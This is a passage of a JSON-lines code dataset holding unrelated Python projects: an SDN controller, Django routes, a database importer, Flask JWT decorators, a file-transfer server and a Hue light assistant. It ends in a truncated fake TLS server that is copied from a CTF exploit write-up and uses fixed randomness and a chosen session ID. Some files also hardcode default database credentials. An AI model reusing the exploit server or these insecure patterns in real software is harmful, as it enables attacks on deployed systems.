eth_dst=2)\n\n        mod = parser.OFPFlowMod(datapath=datapath, command=ofproto.OFPFC_DELETE, \n                                    cookie=1, cookie_mask=0xFFFFFFFFFFFFFFFF,\n                                    table_id=ofproto.OFPTT_ALL,\n                                    out_port=ofproto.OFPP_ANY,\n                                    out_group=ofproto.OFPG_ANY)\n        \n        datapath.send_msg(mod)\n\n    def clear_flows(self):\n        dpl=[]\n        if self.selected_path==1:\n            dpl=[1,2,3,6]\n        else:\n            dpl=[1,4,5,6]\n        for dp in self.installed_flows:\n            self.del_flow(self.installed_flows[dp])\n        \n        #self.installed_flows={}\n\n\n    def add_flow_p(self, datapath, priority, in_port, out_port):\n        ofproto = datapath.ofproto\n        parser = datapath.ofproto_parser\n        actions = [parser.OFPActionOutput(out_port)]\n        match = parser.OFPMatch(in_port=in_port)\n        self.add_flow(datapath, priority, match, actions, flags=ofproto.OFPFF_SEND_FLOW_REM, cookie=1)\n    \n    def add_flow(self, datapath, priority, match, actions, idle_timeout=0, hard_timeout=0, flags=0, cookie=0, buffer_id=None):\n        ofproto = datapath.ofproto\n        parser = datapath.ofproto_parser\n\n        inst = [parser.OFPInstructionActions(ofproto.OFPIT_APPLY_ACTIONS,\n                                             actions)]\n        if buffer_id:\n            mod = parser.OFPFlowMod(cookie=cookie, datapath=datapath, buffer_id=buffer_id, idle_timeout=idle_timeout, hard_timeout=hard_timeout, flags=flags,\n                                    priority=priority, match=match,\n                                    instructions=inst)\n        else:\n            mod = parser.OFPFlowMod(cookie=cookie, datapath=datapath, priority=priority, idle_timeout=idle_timeout, hard_timeout=hard_timeout, flags=flags,\n                                    match=match, instructions=inst)\n        datapath.send_msg(mod)\n\n    '''\n    def create_icmp_request(self, datapath, pkt_ethernet, pkt_ipv4):\n\n        pkt = packet.Packet()\n        pkt.add_protocol(ethernet.ethernet(ethertype=pkt_ethernet.ethertype,\n                                           dst=pkt_ethernet.src,\t\t#ping source of TCP SYN\n                                           src=pkt_ethernet.dst))\n        print \"Creating ICMP. Dest={}, Src={}\".format(pkt_ethernet.src, pkt_ethernet.dst)\n        pkt.add_protocol(ipv4.ipv4(dst=pkt_ipv4.src,\n                                   src=pkt_ipv4.dst,\n                                   proto=1))\n        print \"Creating ICMP. Dest={}, Src={}, proto={}\".format(pkt_ipv4.src, pkt_ipv4.dst, 1)\n\trtt_info=str(pkt_ipv4.src)+\",\"+str(time.time())\n        pkt.add_protocol(icmp.icmp(type_=icmp.ICMP_ECHO_REQUEST,\n                                   code=0,\t\t\t\t\t\n                                   csum=0,\n                                   data=icmp.echo(1,1,bytearray(rtt_info))))\n\n        pkt_dest = packet.Packet()\n        pkt_dest.add_protocol(ethernet.ethernet(ethertype=pkt_ethernet.ethertype,\n                                           dst=pkt_ethernet.dst,\t\t#ping destination of TCP SYN\n                                           src=pkt_ethernet.src))\n        print \"Creating ICMP. Dest={}, Src={}\".format(pkt_ethernet.dst, pkt_ethernet.src)\n        pkt_dest.add_protocol(ipv4.ipv4(dst=pkt_ipv4.dst,\n                                   src=pkt_ipv4.src,\n                                   proto=1))\n        print \"Creating ICMP. Dest={}, Src={}, proto={}\".format(pkt_ipv4.dst, pkt_ipv4.src, 1)\n\trtt_info_dest=str(pkt_ipv4.dst)+\",\"+str(time.time())\n        pkt_dest.add_protocol(icmp.icmp(type_=icmp.ICMP_ECHO_REQUEST,\n                                   code=0,\t\t\t\t\t\n                                   csum=0,\n                                   data=icmp.echo(1,1,bytearray(rtt_info_dest))))\n\n\n        return [pkt, pkt_dest]    \n\n    def send_icmp(self, datapath, in_port, out_port, pkt_ethernet, pkt_ipv4):\n        ofproto = datapath.ofproto\n        parser = datapath.ofproto_parser\n\n        [icmp_pkt, icmp_pkt_dest] = self.create_icmp_request(datapath, pkt_ethernet, pkt_ipv4)\n        icmp_pkt.serialize()\n        data=icmp_pkt.data\n\n        actions = [parser.OFPActionOutput(port=out_port)]\n        print \"Sending ICMP. In={} Out={}\".format(out_port, in_port)\n        out = parser.OFPPacketOut(datapath=datapath, buffer_id=ofproto.OFP_NO_BUFFER,\n                                  in_port=in_port, actions=actions, data=data)\n        success=datapath.send_msg(out)\n        print \"icmp packet out={}\".format(success)\n\n        icmp_pkt_dest.serialize()\n        data=icmp_pkt_dest.data\n\n        actions = [parser.OFPActionOutput(port=in_port)]\n        print \"Sending ICMP. In={} Out={}\".format(in_port, out_port)\n        out = parser.OFPPacketOut(datapath=datapath, buffer_id=ofproto.OFP_NO_BUFFER,\n                                  in_port=out_port, actions=actions, data=data)\n        success=datapath.send_msg(out)\n        print \"icmp packet out={}\".format(success)\n\n    '''\n\n    @set_ev_cls(ofp_event.EventOFPPacketIn, MAIN_DISPATCHER)\n    def _packet_in_handler(self, ev):\n        return\n        # If you hit this you might want to increase\n        # the \"miss_send_length\" of your switch\n        if ev.msg.msg_len < ev.msg.total_len:\n            self.logger.debug(\"packet truncated: only %s of %s bytes\",\n                              ev.msg.msg_len, ev.msg.total_len)\n        msg = ev.msg\n        datapath = msg.datapath\n        ofproto = datapath.ofproto\n        parser = datapath.ofproto_parser\n        in_port = msg.match['in_port']\n\n        pkt = packet.Packet(msg.data)\n        eth = pkt.get_protocols(ethernet.ethernet)[0]\n\n        \n        if eth.ethertype == ether_types.ETH_TYPE_LLDP:\n            # ignore lldp packet\n            return\n        \n        '''\n        elif eth.ethertype == ether_types.ETH_TYPE_IP:            \n            ipp = pkt.get_protocol(ipv4.ipv4)\n            print \"IP packet. Source={} Destination={} Protocol={}\".format(ipp.src, ipp.dst, ipp.proto)\n\n            if ipp.proto == 6:\n                tcpp = pkt.get_protocol(tcp.tcp)\n                if tcpp.has_flags(tcp.TCP_SYN):\n                    print \"SYN Received from {} at {}\".format(ipp.src, datapath.id)\n                    if self.ingress_icmp_rule_installed==False:\n                        actions_controller_icmp = [parser.OFPActionOutput(ofproto.OFPP_CONTROLLER)]\n                        match_icmp = parser.OFPMatch(eth_type=0x0800,ip_proto=1)\n                        self.add_flow(datapath, 3, match_icmp, actions_controller_icmp)\n                        self.ingress_icmp_rule_installed = True\n                        out_port = self.mac_to_port[datapath.id][eth.dst]\n                        self.send_icmp(datapath, out_port, in_port, eth, ipp)#in_port, out_port\n            elif ipp.proto == 1:\n                if self.ingress_icmp_rule_installed==True:\n                    icmpp = pkt.get_protocol(icmp.icmp)\n                    rtt_info=str(icmpp.data.data)\n                    rtt_info_fields=rtt_info.split(\",\")\n                    rtt=time.time()-float(rtt_info_fields[1])\n                    print \"RTT calculated. Target = {}, send_time = {}, rtt={}ms\".format(rtt_info_fields[0], rtt_info_fields[1], rtt*1000)\n                    return\n        '''\n\n        if self.am_deleting==1:\n            return\n\n        dst = eth.dst\n        src = eth.src\n\n        dpid = datapath.id\n\n        if dpid in [1,6] and in_port==3-self.selected_path:\n            #print(\"ignoring packet\")\n            return\n        \n        self.mac_to_port.setdefault(dpid, {})\n\n        #self.logger.info(\"packet in %s %s %s %s\", dpid, src, dst, in_port)\n\n        # learn a mac address to avoid FLOOD next time.\n        self.mac_to_port[dpid][src] = in_port\n\n        if dst in self.mac_to_port[dpid]:\n            out_port = self.mac_to_port[dpid][dst]\n        else:\n            out_port = ofproto.OFPP_FLOOD\n\n        actions = [parser.OFPActionOutput(out_port)]\n        actions_controller = [parser.OFPActionOutput(ofproto.OFPP_CONTROLLER)]\n        #match_tcp = parser.OFPMatch(eth_type=0x0800,ip_proto=6)\n\n        #print(\"====PACKETIN RECEIVED===== {}, {}, {}\".format(datapath.id, src, dst))\n        \n        # install a flow to avoid packet_in next time\n        if out_port != ofproto.OFPP_FLOOD:\n            match = parser.OFPMatch(in_port=in_port, eth_dst=dst, eth_src=src)\n\n            #self.add_flow(datapath, 2, match_tcp, actions_controller)\n\n            # verify if we have a valid buffer_id, if yes avoid to send both\n            # flow_mod & packet_out\n            idle_=0\n            hard_=0\n            if msg.buffer_id != ofproto.OFP_NO_BUFFER:\n                self.add_flow(datapath, 1, match, actions, msg.buffer_id, idle_timeout=idle_, hard_timeout=hard_, flags=ofproto.OFPFF_SEND_FLOW_REM, cookie=1)\n                return\n            else:\n                self.add_flow(datapath, 1, match, actions, idle_timeout=idle_, hard_timeout=hard_, flags=ofproto.OFPFF_SEND_FLOW_REM, cookie=1)\n\n            if datapath.id not in self.installed_flows:\n                self.installed_flows[datapath.id]=[]\n\n            self.installed_flows[datapath.id]=datapath\n\n        data = None\n        if msg.buffer_id == ofproto.OFP_NO_BUFFER:\n            data = msg.data\n\n        out = parser.OFPPacketOut(datapath=datapath, buffer_id=msg.buffer_id,\n                                  in_port=in_port, actions=actions, data=data)\n        success=datapath.send_msg(out)\n        #print(\"Flow rule installed successfully = {}\".format(success))\n","repo_name":"kubad565/sdn-project","sub_path":"automatic.py","file_name":"automatic.py","file_ext":"py","file_size_in_byte":18607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"37128023404","text":"#!/usr/bin/env python3\n\n\ndef close(x, y, z):\n    dif = abs(x-y)\n    if dif < z:\n        return True\n    else:\n        return False\n\n\nif __name__ == \"__main__\":\n    a = close(1, 2, 0.5)\n    print(a)\n    b = close(1, 2, 3)\n    print(b)\n\n\n\n","repo_name":"hayc09/automatic-engine","sub_path":"Lab1/close.py","file_name":"close.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"74335688057","text":"from django.urls import path, include\n\nfrom main import views\nfrom main.views import ProductDetailsView, ProductsListView, CreateProductView, UpdateProductView, DeleteProductView, \\\n    SearchResultsView\n\nurlpatterns = [\n    path('search/', SearchResultsView.as_view(), name='search-results'),\n    path('create/', CreateProductView.as_view(), name='create-product'),\n    path('<slug:category_id>/', ProductsListView.as_view(), name='products-list'),\n    path('details/<int:pk>/', ProductDetailsView.as_view(), name='product-details'),\n    path('update/<int:pk>/', UpdateProductView.as_view(), name='update-product'),\n    path('delete/<int:pk>/', DeleteProductView.as_view(), name='delete-product'),\n\n\n]","repo_name":"TimJo94/shop","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"12012475166","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nFunc:\n- Connect MonetDB Database, using the default 'demo'\n- Import Data.\n\nRef:\nhttps://www.monetdb.org/Documentation/ClientInterfaces/PythonLibrary\nhttps://pymonetdb.readthedocs.io/en/latest/\n\nUsage:\n> python monetdb.py --input=YOUR DATA PATH  --tbname='YOUR TABLE NAME'\ne.g.,\n> python monetdb.py --input=../data/bim/SciThe/classmodel.xyz --tbname=SciThe \n\n@date: June 25, 2020\n@author: Wesley\n\n\"\"\"\n\n# Import necessary packages and modules.\nfrom __future__ import print_function\nfrom __future__ import division\nimport os\nimport sys\nimport argparse\nimport pymonetdb\nimport warnings\nwarnings.filterwarnings('ignore')\n\nfrom platform import python_version\n\nprint('Python Version: ', python_version())\n\n\ndef create_db(tbname):\n\t'''\n\t'''\n\tconn = None\n\ttry:\n\t\t# print('Connecting to the MonetDB database ...')\n\t\t# set up a connection. arguments below are the defaults\n\t\tconn = pymonetdb.connect(username=\"monetdb\", password=\"monetdb\", hostname=\"localhost\", database=\"demo\")\n\t\t# create a cursor\n\t\tcur = conn.cursor()\n\t\t# create a table\n\t\tcur.execute('CREATE TABLE IF NOT EXISTS '+ tbname + \n\t\t\t' (voxid SERIAL, x INTEGER NOT NULL, y INTEGER NOT NULL, z INTEGER NOT NULL, objID INTEGER);')\n\n\t\t# close connection\n\t\tcur.close()\n\t\tconn.commit()\n\texcept (Exception, pymonetdb.exceptions.DatabaseError) as error:\n\t\tprint(error)\n\tfinally:\n\t\treturn conn\n\n\ndef write_db(conn, tbname, file):\n\t'''\n\t'''\n\tif conn is not None:\n\t\ttry:\n\t\t\tcur = conn.cursor()\n\t\t\t# Method-I: Read .xyz file line by line\n\t\t\t'''\n\t\t\twith open(file, mode='r', encoding='utf-8') as f:\n\t\t\t\twhile(True):\n\t\t\t\t\tline = f.readline().strip()\n\t\t\t\t\tif not line:\n\t\t\t\t\t\tbreak\n\t\t\t\t\tx, y, z = int(line.split()[0]), int(line.split()[1]), int(line.split()[2])\n\t\t\t\t\tobjID = int(line.split()[3])\n\t\t\t\t\tcur.execute(\"INSERT INTO \" + tbname + \n\t\t\t\t\t\t\" (x, y, z, objID) VALUES({0}, {1}, {2}, {3})\".format(\n\t\t\t\t\t\t\tint(x), int(y), int(z), int(objID)))\n\t\t\t'''\n\t\t\t# Method-II: COPY -- copy data between a file and a table\n\t\t\tcur.execute(\"COPY INTO \" + tbname + \"(x, y, z, objID) FROM '\" + file + \"'(x,y,z,objID) DELIMITERS ' ';\")\n\n\t\t\tcur.close()\n\t\t\tconn.commit()\n\t\texcept (Exception, pymonetdb.exceptions.DatabaseError) as error:\n\t\t\tprint(error)\n\t\tfinally:\n\t\t\tconn.close()\n\t\t\tprint('Database connection closed.')\n\n\nif __name__ == '__main__':\n\tprint('********** Initializing ArgumentParser and related arguments **********')\n\tparser = argparse.ArgumentParser(description='Argument list', formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\tparser.add_argument('--input', help='directory for input data')\n\tparser.add_argument('--tbname', help='table name')\n\targs = parser.parse_args(sys.argv[1:])\n\n\tprint('********** Creating Database **********')\n\tconn = create_db(args.tbname)\n\n\tprint('********** Writing Database **********')\n\twrite_db(conn, args.tbname, args.input)\n\n","repo_name":"weil0819/Vox3DMod","sub_path":"src/monetdb.py","file_name":"monetdb.py","file_ext":"py","file_size_in_byte":2850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"24273774835","text":"import googleapiclient.discovery\nfrom TransferObjects import PlaylistData\nimport ExceptionPackage.TimeOutCustomException  as excepCust\nimport requests\nfrom io import BytesIO\nimport url_parser\n\nclass YoutubeAPI:\n\n    def getYoutubeObject(self):\n        DEVELOPER_KEY = \"\"\n        YOUTUBE_API_SERVICE_NAME = \"youtube\"\n        YOUTUBE_API_VERSION = \"v3\"\n        return googleapiclient.discovery.build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION,\n                                        developerKey=DEVELOPER_KEY)\n\n    def getVideoId(self, url):\n        url_data = url_parser.parse_url(url)\n        print('url_data:',url_data)\n        try:\n            return url_data['query']['v']\n        except KeyError:\n            raise excepCust.Invalid_Url()\n\n    def getRespFromAPIVideosList(self,videoId):\n        print(\"In getRespFromAPIVideosList method. Input videoId = {}\".format(videoId))\n        request = self.getYoutubeObject().videos().list(part=\"snippet,contentDetails,statistics\", id=videoId)\n        response = request.execute()\n        print(\"response ::\", response)\n\n        return response\n\n    def getVideoTileAndThumbnail(self, urlInput):\n        video_id = self.getVideoId(urlInput)\n        response = self.getRespFromAPIVideosList(video_id)\n        try:\n            totalResultCount = int(response['pageInfo']['resultsPerPage'])\n            if totalResultCount == 0:\n                raise excepCust.Invalid_Url()\n            else:\n                title = response['items'][0]['snippet']['title']\n                videoInfo = PlaylistData.VideoInfo(title,urlInput)\n                return videoInfo\n        except excepCust.Invalid_Url:\n            raise excepCust.Invalid_Url()\n        except Exception:\n            raise excepCust.GeneralException()\n\nyouTube = YoutubeAPI()\nyouTube.getYoutubeObject()\n","repo_name":"sayanam/TimeoutApplication","sub_path":"ServiceLayer/YoutubeAPI.py","file_name":"YoutubeAPI.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"44691703447","text":"import jinja2\n\nfrom app.helper import file_helper\nfrom google.appengine.api import memcache\n\ndef load(name, data={}):\n  # set the file\n  file = '%s_view.html' % name\n\n  # set the folder\n  folder = 'app/view/'\n\n  # and the path\n  path = folder + file\n\n  # check for the file in memcache\n  view = memcache.get(path)\n\n  if not view:\n    # check the file exists\n    if not file_helper.check(path):\n      # uh oh\n      raise IOError('File %s not found' % path)\n\n    # set up env for the renderer\n    env = jinja2.Environment(loader=jinja2.FileSystemLoader(folder))\n\n    # prepare the template\n    template = env.get_template(file)\n\n    # render the view\n    view = template.render(data)\n\n    # save it to memcache\n    memcache.set(path, view)\n\n  # return it\n  return view","repo_name":"ahmednuaman/portfolio-space","sub_path":"app/helper/template_helper.py","file_name":"template_helper.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"43432422895","text":"\"\"\"\nIn this file we are creating an islogin decoretor \nfor finding if the user is valid or not by sending\na jwt token in headerfile of application, each time\nwhen the user is requesting an api where he is dealing\nwith some sensitive information, each time we are going to\nadd this decoretor in particular routes function.\n\"\"\"\nfrom flask_restful import abort  #  functions abort for sending error message\nfrom flask import request  #  for requesting header if jwt is present or not\nfrom functools import wraps  #  wrap for creating decoretor\nimport jwt  # jwt for creating token\nfrom api import app\nfrom db.log import Log #  importing log model \nfrom db.user import User\nfrom db.post import Post\nfrom flask_jwt_extended import get_jwt_identity\nfrom extension import db\n\n\n#  creating islogin decorator\ndef islogin(f):\n    @wraps(f)\n    def wrap(*args, **kwargs): \n        auth = request.cookies.get('auth')  # checking if auth is present in request header/ cookies\n        \n        #  if present \n        if auth:\n            user = jwt.decode(auth, algorithms=['HS256'], key=app.config['SECRET_KEY'])\n            user_id = user['user_id']\n\n        else:\n            # if not present\n            abort(404, message=\"you are not login\")\n        return f(user_id, *args, **kwargs)\n    return wrap\n    \n# Use this decorator on users and posts routes for tracking activity\ndef record_logs(fun):\n  @wraps(fun)\n  def wrap(*args, **kwargs):\n    \n    try:\n      result = fun(*args, **kwargs)\n      status_code = int(result[1])\n      \n      # If unsuccessful request then no need to store log\n      if status_code != 200 and status_code != 201:\n        return result\n\n      # Get user details\n      user_id = get_jwt_identity()\n      user = User.query.filter_by(id=user_id).first()\n\n      # Get url, method and post_id\n      url = request.path\n      method = request.method\n      post_id = kwargs.get('post_id') if kwargs.get('post_id') else -1\n      post = Post.query.filter_by(id = post_id).first()\n      # Initialize with default values\n      message = url\n      post_type = ''\n\n      if url == f'/api/v1/auth/register':\n        if method == 'POST':\n          message = f'New user added  {user[\"username\"]}'\n      \n      if url == f'/api/v1/auth/login/':\n        if method == 'POST':\n          message = f'{user[\"username\"]} logged in'\n      \n      if url == f'/api/v1/post/{user_id}':\n        if method == 'POST': \n          message = f'{user[\"username\"]} posted someting'\n      if url == f'/api/v1/post/{user_id}/update/{post_id}':\n        if method == 'PUT': \n          message = f'{user[\"username\"]} updated {post[\"title\"]}'\n      \n      log = Log(\n        message=message, \n        user_id=user_id, \n        type=post_type,\n        post_id= post_id,\n        username=user['username'],\n      )\n      db.session.add(log)\n      db.session.commit()\n      return result\n    \n    except Exception as e:\n      print('Error - ', str(e))\n      return fun(*args, **kwargs)\n  return wrap","repo_name":"M-A-D-A-R-A/beyondIRR","sub_path":"middleware/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":2973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"42552357115","text":"import socket\r\nimport os\r\n\r\nimport protocol_consts\r\nimport protocol_exceptions\r\n\r\nclass ReceivingServer:\r\n    def __init__(self, dstdir: str) -> None:\r\n        self._DST = dstdir\r\n\r\n        self._HOST = socket.gethostbyname(socket.gethostname())\r\n        print(\"In order for the sender machine to locate this machine in the local network, the following local IP will be needed:\", self._HOST)\r\n\r\n        self._server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n        self._server_socket.bind((self._HOST, protocol_consts.PORT))\r\n        self._transfer_socket = None\r\n\r\n    def listen_and_connect_to_client(self) -> None:\r\n        self._server_socket.listen()\r\n        self._transfer_socket, client_addr = self._server_socket.accept()\r\n\r\n        print(\"Sender has connected with address:\", client_addr)\r\n\r\n    def handshake(self) -> None:\r\n        msg = self._transfer_socket.recv(protocol_consts.BYTESIZE_MSG)\r\n        if msg == protocol_consts.MSG_CLIENT_CONF:\r\n            self._transfer_socket.sendall(protocol_consts.MSG_SERVER_CONF)\r\n            print(\"Connection has been accepted by sender.\")\r\n        else:\r\n            raise protocol_exceptions.ServerCouldNotConfirmError(\"The receiver did not confirm the connection.\")\r\n\r\n    def _receive_file(self) -> None:\r\n        # File path length\r\n        pathlen_bytes = self._transfer_socket.recv(protocol_consts.BYTESIZE_PATHLEN)\r\n        pathlen = int.from_bytes(pathlen_bytes, \"big\")\r\n        self._transfer_socket.sendall(protocol_consts.MSG_SERVER_CONF)\r\n\r\n        # File path\r\n        noprefixpathname_bytes = self._transfer_socket.recv(pathlen)\r\n        noprefixpathname = ''.join(map(chr, noprefixpathname_bytes))\r\n        self._transfer_socket.sendall(protocol_consts.MSG_SERVER_CONF)\r\n\r\n        # File size\r\n        filesize_bytes = self._transfer_socket.recv(protocol_consts.BYTESIZE_FILESIZE)\r\n        filesize = int.from_bytes(filesize_bytes, \"big\")\r\n        self._transfer_socket.sendall(protocol_consts.MSG_SERVER_CONF)\r\n\r\n        # File data\r\n        filedata_bytes = self._transfer_socket.recv(filesize)\r\n        self._transfer_socket.sendall(protocol_consts.MSG_SERVER_CONF)\r\n\r\n        # Construct local path with self._DST prefix.\r\n        fulldstpath = os.path.join(self._DST, noprefixpathname)\r\n        print(\"Received file:\", fulldstpath)\r\n\r\n        # Make the directories needed in order to write the file and send it.\r\n        os.makedirs(os.path.dirname(fulldstpath), exist_ok=True)\r\n\r\n        with open(fulldstpath, \"wb\") as dstfile:\r\n            dstfile.write(filedata_bytes)\r\n\r\n    def receive_dir(self) -> None:\r\n        nfiles_bytes = self._transfer_socket.recv(protocol_consts.BYTESIZE_NFILES)\r\n        self._transfer_socket.sendall(protocol_consts.MSG_SERVER_CONF)\r\n\r\n        for _ in range(int.from_bytes(nfiles_bytes, \"big\")):\r\n            self._receive_file()\r\n\r\n    def __del__(self) -> None:\r\n        self._transfer_socket.close()\r\n        self._server_socket.close()\r\n","repo_name":"SeanJxie/PyWirelessTransfer","sub_path":"src/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"}
+{"seq_id":"35536291130","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 20 17:55:23 2019\n\n@author: spidey\n\"\"\"\n\nfrom phue import Bridge\nfrom gtts import gTTS\nimport speech_recognition as sr\nfrom tempfile import TemporaryFile\nfrom pygame import mixer\nimport pyautogui\nimport re\nfrom random import randint\nimport webbrowser\nfrom time import sleep\n\ndef myCommand():\n    r = sr.Recognizer()\n    with sr.Microphone() as source:\n        sleep(2)\n        print('Ready...')\n        r.pause_threshold = 1\n        r.adjust_for_ambient_noise(source, duration=1)\n        audio = r.listen(source)\n    try:\n        command = r.recognize_google(audio).lower()\n        print('You said: ' + command + '\\n')\n\n    #loop back to continue to listen for commands if unrecognizable speech is received\n    except sr.UnknownValueError:\n        print('Your last command couldn\\'t be heard')\n        command = myCommand();\n\n    return command\n\ndef assistant(command):\n    if 'set the mood' in command:\n        lights('romantic')\n    elif 'sad' in command:\n        lights('sad')\n    elif 'heart broken' in command:\n        lights('break')\n    elif 'happy' in command:\n        lights('happy')\n    elif 'let there be light' in command:\n        lights('up')\n    elif 'see you' in command:\n        lights('down')\n        \ndef lights(action):\n    b = Bridge('10.111.14.17')\n    light_names = b.get_light_objects('name')\n    if action=='up':\n       light_names['Hue color lamp 1'].on = True\n       light_names['Hue color lamp 1'].hue = 40000\n       light_names['Hue color lamp 1'].saturation = 10\n    if action=='down':\n        command1 =  {'transitiontime' : 100, 'on' : False}\n#b.set_light(1, command1)\n#time.sleep(1)\n#command2={'transitiontime' : 100, 'on' : True,'hue' :40000, 'bri':50}\n        b.set_light(1, command1)\n        print('done')\n    if action=='happy':\n        url='https://www.youtube.com/watch?v=ApXoWvfEYVU'\n        webbrowser.open(url)\n        sleep(1)\n        pyautogui.click(733, 237)\n        i=0\n        while i<4:\n            hues=[45000,40000,35000,30000]\n            command={'transitiontime' : 100, 'on' : True,'hue' :hues[i], 'bri':50}\n            b.set_light(1,command)\n            sleep(10)\n            i+=1\n    if action=='sad':\n       url='https://www.youtube.com/watch?v=au2n7VVGv_c'\n       webbrowser.open(url)\n       sleep(1)\n       pyautogui.click(733, 237)\n       i=0\n       while i<4:\n           hues=[40000,44000,40000,44000]\n           command={'transitiontime' : 100, 'on' : True,'hue' :hues[i], 'bri':50}\n           b.set_light(1,command)\n           sleep(10)\n           i+=1\n    if action=='romantic':\n        url='https://www.youtube.com/watch?v=2Vv-BfVoq4g&t=20s'\n        webbrowser.open(url)\n        sleep(1)\n        pyautogui.click(733, 237)\n        i=0\n        while i<4:\n            hues=[1000,10000,55000,60000]\n            command={'transitiontime' : 100, 'on' : True,'hue' :hues[i], 'bri':50}\n            b.set_light(1,command)\n            print('excuted',i)\n            sleep(10)\n            i+=1\n    if action=='break':\n        url='https://www.youtube.com/watch?v=J9Zjgb03FMQ'\n        webbrowser.open(url)\n        sleep(1)\n        pyautogui.click(733, 237)\n        i=0\n        while i<4:\n            hues=[40000,41000,42000,44000]\n            command={'transitiontime' : 100, 'on' : True,'hue' :hues[i], 'bri':50}\n            b.set_light(1,command)\n            sleep(10)\n            i+=1\nwhile True:\n    try:\n        assistant(myCommand())\n        sleep(5)\n    except KeyboardInterrupt:\n        print('All done')\n        # If you actually want the program to exit\n        raise  \n       \n        ","repo_name":"bathonSpidey/Nao_Personal_Assistant","sub_path":"lights.py","file_name":"lights.py","file_ext":"py","file_size_in_byte":3615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32202673752","text":"import logging\nfrom gym.envs.registration import register\n\nlogger = logging.getLogger(__name__)\n\nregister(\n    id='Freeciv-v0',\n    entry_point='gym_freeciv_web.envs:FreecivEnv',\n    #timestep_limit=1000,\n    #reward_threshold=1.0,\n    #nondeterministic = True,\n)\n","repo_name":"chris1869/freeciv-bot","sub_path":"src/gym_freeciv_web/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"22"}
+{"seq_id":"70076765497","text":"import re\r\nwhile True:\r\n    s = input()\r\n    if s == \"end\":break\r\n    case1 = len(re.findall(\"[aeiou]\", s)) != 0                  # 모음의 유무 확인\r\n    case2 = len(re.findall(\"[aeiou]{3}|[^aeiou]{3}\", s)) == 0   # 모음 or 자음의 3번 연속 유무 확인\r\n    case3 = len(re.findall(\"([a-df-np-z])\\\\1\", s)) == 0         # e와 o의 2번 반복 제외 반복 유무 확인\r\n\r\n    if case1 and case2 and case3:\r\n        print(f\"<{s}> is acceptable.\")\r\n    else:\r\n        print(f\"<{s}> is not acceptable.\")\r\n","repo_name":"gyocheol/baekjoon","sub_path":"백준/Silver/4659. 비밀번호 발음하기/비밀번호 발음하기.py","file_name":"비밀번호 발음하기.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"1185601854","text":"# Blatantly copied from https://github.com/dfyz/ctf-writeups/blob/master/hxp-2020/security%20scanner/fake_git.py\nimport argparse\nimport base64\nimport hashlib\nimport hmac\nimport re\nimport socket\nimport struct\nimport time\nfrom Crypto.Cipher import AES\nfrom Crypto.PublicKey import RSA\nfrom dataclasses import dataclass\nfrom pathlib import Path\nimport threading\n\n\n# RFC 5246, section 5\ndef prf(secret, label, seed, length):\n    def hmac_sha256(key, msg):\n        return hmac.digest(key, msg, hashlib.sha256)\n\n    seed = label + seed\n\n    result = b''\n    cur_a = seed\n    while len(result) < length:\n        cur_a = hmac_sha256(secret, cur_a)\n        result += hmac_sha256(secret, cur_a + seed)\n    return result[:length]\n\n\ndef to_ad(seq_num, tls_type, tls_version, tls_len):\n    return struct.pack('>QBHH', seq_num, tls_type, tls_version, tls_len)\n\n# Chosen by fair dice roll, guaranteed to be random.\ndef get_random_bytes(length):\n    return b'A' * length\n\nclass TLS:\n    # in bytes (i.e., this is 4096 bits)\n    KEY_LENGTH = 512\n    PKCS_PREFIX = b'\\x00\\x02'\n\n    # TLS 1.2\n    VERSION = 0x0303\n    # TLS_RSA_WITH_AES_128_GCM_SHA256, because we don't care to support the full DH exchange.\n    CIPHER_SUITE = 0x9c\n\n    CHANGE_CIPHER_SPEC_CONTENT_TYPE = 0x14\n    ALERT_CONTENT_TYPE = 0x15\n    HANDSHAKE_CONTENT_TYPE = 0x16\n    DATA_CONTENT_TYPE = 0x17\n\n    FINISHED_HANDSHAKE_TYPE = 0x14\n\n    @dataclass\n    class Record:\n        content_type: int\n        version: int\n        data: bytes\n\n    @dataclass\n    class HandshakeRecord:\n        handshake_type: int\n        data: bytes\n\n    @dataclass\n    class SessionKeys:\n        master_secret: bytes\n        client_key: bytes\n        server_key: bytes\n        client_salt: bytes\n        server_salt: bytes\n\n    def __init__(self, socket, priv_key, certs, session_id):\n        self.socket = socket\n        self.priv_key = priv_key\n        self.certs = certs\n        # Chosen by a fair dice roll.\n        self.server_random = get_random_bytes(32)\n        self.session_id = session_id\n\n        self.client_seq_num = 0\n        self.server_seq_num = 0\n        self.handshake_log = b''\n\n        self.session_keys = None\n        self._shake_hands()\n\n    def _read_record(self, expected_type):\n        header = self.socket.recv(5)\n        content_type, version, length = struct.unpack('>BHH', header)\n        data = self.socket.recv(length)\n        assert content_type == expected_type, f'Bad content type: got {content_type}, expected {expected_type}'\n        return TLS.Record(content_type, version, 